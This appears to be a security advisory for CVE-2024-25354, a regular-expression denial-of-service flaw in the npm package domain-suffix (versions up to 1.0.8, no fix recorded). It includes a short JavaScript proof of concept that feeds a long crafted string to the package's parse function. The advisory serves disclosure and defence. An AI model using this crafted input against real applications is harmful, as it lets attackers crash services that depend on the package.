high7.5
CVE-2024-25354
domain-suffix RegEx Denial of Service
Impact
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. ## PoC ```js async function exploit() { const domainsuffix = require(\"domain-suffix\"); // Crafting a string that will cause excessive backtracking const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\" const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | domain-suffix | <= 1.0.8 | none recorded |